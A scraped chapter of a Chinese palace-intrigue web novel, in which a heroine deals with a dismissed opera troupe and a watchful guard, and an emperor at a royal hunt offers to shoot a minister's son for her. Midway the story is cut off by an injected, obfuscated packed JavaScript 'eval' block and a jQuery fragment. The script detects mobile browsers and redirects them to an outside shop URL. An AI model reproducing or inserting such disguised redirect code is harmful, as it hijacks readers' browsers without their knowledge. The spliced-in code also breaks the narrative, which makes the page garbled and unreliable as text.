文趣网 > 其他小说 > 剧情补丁成精中 > 16. 第 16 章
    待到远离人群,老班主停了下来。

    “班主,怎么了?”看着眼前头发花白但仍旧挺直脊梁的人,何千云心里升起一股不详的预感。

    “林姑娘……待你如何?”

    许久,老班主开口。

    他的声音带着说不出的喑哑,好似有什么压在喉咙上,逼着他开口。

    何千云有些不明所以,只道姑娘那儿新鲜事多,不差他这一个。

    听罢,老班主再次叹了口气,仰头看着墙头露出的一抹红枫:“看清自己的位置,可以的话……多在姑娘面前说两句好话。”

    “咱们这一场好好唱,尽量让姑娘高兴。”

    “怎么突然说这个?”

    “老爷子走了,他院里的人也都遣散回家了,老爷又不好咱们这口。”

    “你走的这段时间,府里陆陆续续遣了不少人,你爹、小萍儿、还有总跟小萍儿一起唠家常的那群姑娘。”

    “咱们班子估计也快了。”

    “那我娘呢?”先前月下的一幕再度映入脑海,何千云下意识提高了声音,“老爷子院里人,怎么可能说遣就遣。”

    “老爷说了,是遣散。”

    想起那晚柏老丞相院外的士兵、想起院子里隐约闻到的血腥味,何千云顿时白了脸色:“那可是丞相府,他们怎么敢的?”

    “什么敢不敢的?”一道女声自身后幽幽传来,“你们在聊什么?怎么吓成这样?”

    林自阮从月洞门侧探出头来,话里带着几分俏皮的意味:“莫不是班里台柱子跟人跑了,你们没办法交差。”

    “如果是这样的话,那可真真是糟透了,毕竟我费了好大功夫才让阿昱同意你们表演的。”

    “到时候搞砸了,我都不知道该怎么跟他交代。”

    说着她牵着小喑,从门后走出来。

    林自阮似乎很喜欢这个小姑娘,时不时低头去逗,小喑也任她拉扯,只偶尔回头看看柴七有没有跟上来。

    “哎呦,姑娘您这是什么话,”老班主忙迎上去搭话,“陛下的旨意我们哪儿敢怠慢,班子一早就备了最好的戏目,准能让您满意。”

    他一边说一边伸手去接小喑,在被林自阮躲开后他抬眼朝两人身后看去。

    柴七默默跟在那儿,见他望过来连忙摇头,示意自己无可奈何。

    将他们的动作尽收眼底,林自阮面上不显喜怒,只是稍稍侧侧身子。

    今天一直不近不远跟着她的味道似乎靠近了许多,林自阮侧眸朝源头看去,却只瞧见几块太湖石立在那儿。

    回身撤步,她不动声色地往那边靠近些,随后开口:“只有我满意大概不太行。”

    她半蹲下来示意小喑回去,紧接着又起身盯着何千云:“阿昱他好像不太喜欢你,每次跟他提这个他都不太高兴的样子。”

    “所以唱完这场,你跟着大家回去好了。”

    “你明明答应过我——”

    “千云!”

    眼见何千云气上心头,冲出去就要跟林自阮理论,老班主立刻上前挡在两人中间呵斥他回去。

    “不是,是她答应过我……”何千云还想说些什么,但话到一半突然像是见了什么可怕的东西一样没了声音。

    老班主脸上的笑也有些挂不住,他瞧瞧林自阮身后的寒光,又看看林自阮,最后还是把嘴里的漂亮话全都堵了回去,然后拉着何千云道歉。

    顺着他们的目光侧身看去,林自阮将来人上上下下扫了个遍。

    来的倒也算不上什么生人,是仲长昱提拔上来的御前侍卫,方白,平日里就待在门前。

    只不过先前林自阮草草瞧过一眼,觉得他与那些寻常的侍卫或者宫人无异,自然也没怎么没有留意过。

    如今再看,他身上的味道似乎没那么单调了。

    见林自阮看过来,方白将手里的刀往身后藏了藏才靠近行礼。

    “阿昱有事找我吗?”林自阮对他印象不深,但却是认识他这身行头的。

    不同于元蒙的轻便,方白总是身着护甲,走起路来也多多少少带着声响,因此他才一直远远跟着。

    连身行头都来不及换吗?

    林自阮心里愈发觉得奇怪。

    “陛下今日琐事太多,怕姑娘在这行宫里待着无聊,特地命属下陪着。”方白咧着嘴回答。

    方才刻意板着脸营造出的气势一下子就被冲散,似乎觉得有些不妥,他又干咳两声,正了正神色:“陛下说了,姑娘要想先到猎场转转跟小的交代一声就行,小的自当鞍前马后。”

    “所以你穿着这身打打杀杀的衣服就来了?”林自阮并不想跟他多费口舌,话也说得直截了当。

    方白明显是个嘴笨的,没什么应付的经验,梗了半天才憋出一个蹩脚的借口:“这、陛下命令给得急,我就直接从猎场那边过来了。”

    “啧,”闻言林自阮面露不满,“阿昱也真是,不知道让人喘口气。”

    “瞧你把千云吓得,要是坏了今日的晚宴,你赔得起吗?”

    方白一时无言,只好拿何千云说事:“那小的不是远远瞧着这小哥情绪激动,怕他伤着姑娘。”

    “姑娘还是少跟他们接触为好。”

    他本想借着这个名头说服林自阮远离丞相府的地盘,不想林自阮反倒为他们开脱:“这事儿怨我,是我先对不住千云的。”

    林自阮说着,目光轻轻掠过何千云苍白未褪的脸,又飘向老班主紧攥的手,最后才落回方白身上,唇角弯起一个恰到好处的、带着些许歉意的弧度。

    方白被她这话噎得一愣,准备好的说辞全堵在了喉咙里。他本以为这位娘娘会仗势欺人,或是狡辩推脱,毕竟她在陛下面前一向任性得很,就连元蒙谈及她时也是退避三舍。

    没成想竟是这么个……认错的态度?

    似乎是看出他的困惑,林自阮叹了口气来到他身前:“算了,我也不为难你了。”

    “我知道阿昱他不想让我接触丞相府的人,当时我跟他说这事时,他就说过会给我找最好的戏班。”

    这话震得方白脑中一空,也让何千云脸色变了又变,只有那个小喑,她仍旧没什么反应,连着她旁边的柴七看着都木了几分。

    眼神不经意瞥向老班主,见他低头沉思,林自阮继续道:“也是毕竟世上会唱戏的那么多,我也不好继续要人,只能让他们先唱一场让他瞧瞧。”

    见老班主的目光逐渐落在小喑身上,林自阮转身朝方白道:“你也不用藏着掖着,我知道阿昱让你来是要盯着我,毕竟他之前为了这事还跟我吵过一次。”

    “我觉得对不住千云,毕竟我答应过他,要接他的班子过来。现在我搞砸了自己许过的事,当然要过来看看,把事情说清楚,免得他们因为心里怨我,把阿昱准备这么久的东西给搞砸了。”

    这个说法过于完备,以至于场上的人一时之间找不到支点接话。

    最终还是林自阮接上了这个话题,她朝小喑摆摆手,然后交代老班主好好安抚一下何千云之后便带着方白离开了。

    不知是不是错觉,方白似乎在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498792|202632||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她转身的一霎听见了一声叹息,很轻,像今早的雾,闷得人难受。

    “姑娘,要到猎场那边转转吗?陛下说您这阵子在宫里闷坏了。”

    见她并未走远,只是停在一处池塘边,方白思来想去,最终还是提议出去看看。

    “你知道丞相府家那个小公子是怎么疯的吗?”林自阮并未正面回答。

    “具体不太清楚,只听说丞相府最近风口紧得很,也不知道是从哪儿传出去的,现在闹得满城皆知。”

    “您……问这个干嘛?”

    林自阮依旧不答,只道先前见他时就觉得他怪得很。

    她伫立在池塘边缘静静望着残荷,仿佛陷了进去一般,方白一连唤了几声都没应答,直到他靠近才猛然惊醒,然后叮嘱他不要把这件事告诉仲长昱,省得他再胡思乱想。

    她在那片池塘边一直待到正午,直到仲长昱派人来寻之后才跟着他们离去。

    午后,围猎正式拉开序幕。仲长昱携林自阮登台,众人虽颇有微词,但碍于仲长昱近日筹钱的手段着实过于残暴,各个都缩着脑袋,生怕自己入了他的眼。

    随行的侍从奉上弓箭,奏请帝王首射,然而仲长昱却转手把箭递到林自阮手边:“要试试吗?”

    林自阮拿着那只金铜雀翎箭往台下比划两下,箭镞划过众人,最终指在一个年轻男子的脑袋上。

    他将自己藏在最角落,却没有像其他人那样低头哈腰,反而透过层层人群盯着台上颇为亲昵的两人。

    察觉到台上的目光,他下意识将脊背挺直,却又在意识到这目光来源后朝人群中躲去。

    然而他移一步,那箭就偏一分,永远悬在他眼前,逼他与其对视。

    大抵是没想到仲长昱会将首射的权利交给林自阮,更没想到林自阮居然如此明目张胆,柏泽就这样看她将那只象征吉兆的箭指向自己。

    这简直、简直是窃弄天威,罔顾人伦!

    他读了大半辈子的圣贤书,第一次觉得那些所谓的礼崩乐坏、纲常沦丧不过是沧海一粟,完全无法表述他此刻的思绪。

    那箭镞精雕细琢,在阳光下泛着金光,象征着帝王威仪,如今却任由一女子玩弄。

    目光在柏泽那张震惊的脸上停留片刻,林自阮很快便将箭移开指向猎场,就好像刚刚的举动只是一时兴起。

    似是没有找到中意的猎物,她很快就把那只箭还了回去:“这种事情还是阿昱你来好了。”

    “毕竟我也没学过拉弓射箭,闹了笑话可就不好了。”

    就在众人都松了一口气时,那只被递回的箭却再次指向柏泽。

    仲长昱将林自阮拥在怀里,握着她的手拉弓搭箭:“杀了他,你会开心吗?”

    “陛下!”明晃晃的杀意让柏杨无法坐视不理,他拱手上前,还未细谈便被另一个声音打断。

    “陛下,此事不可儿戏。”梁城自军队中来到台下,身着旧甲拱手作揖,“忠魂未祭,怎可反伤其后,还望陛下三思。”

    “你会开心吗?”仲长昱并未理会梁城,只是固执地向林自阮讨要答案。

    “不会,”林自阮脸上有了一瞬空白,但她的回答却先一步脱口而出,“他们会骂你的。”

    手上的力道骤然加重,仲长昱几乎要把她的手揉进弓里。

    意识到事情失控,林自阮垂眸:“我也没有想让他死啊,我只是……

    想知道他会不会死。”

    最后一句话林自阮念得很轻,但仲长昱离她太近了,近到能听见彼此的呼吸。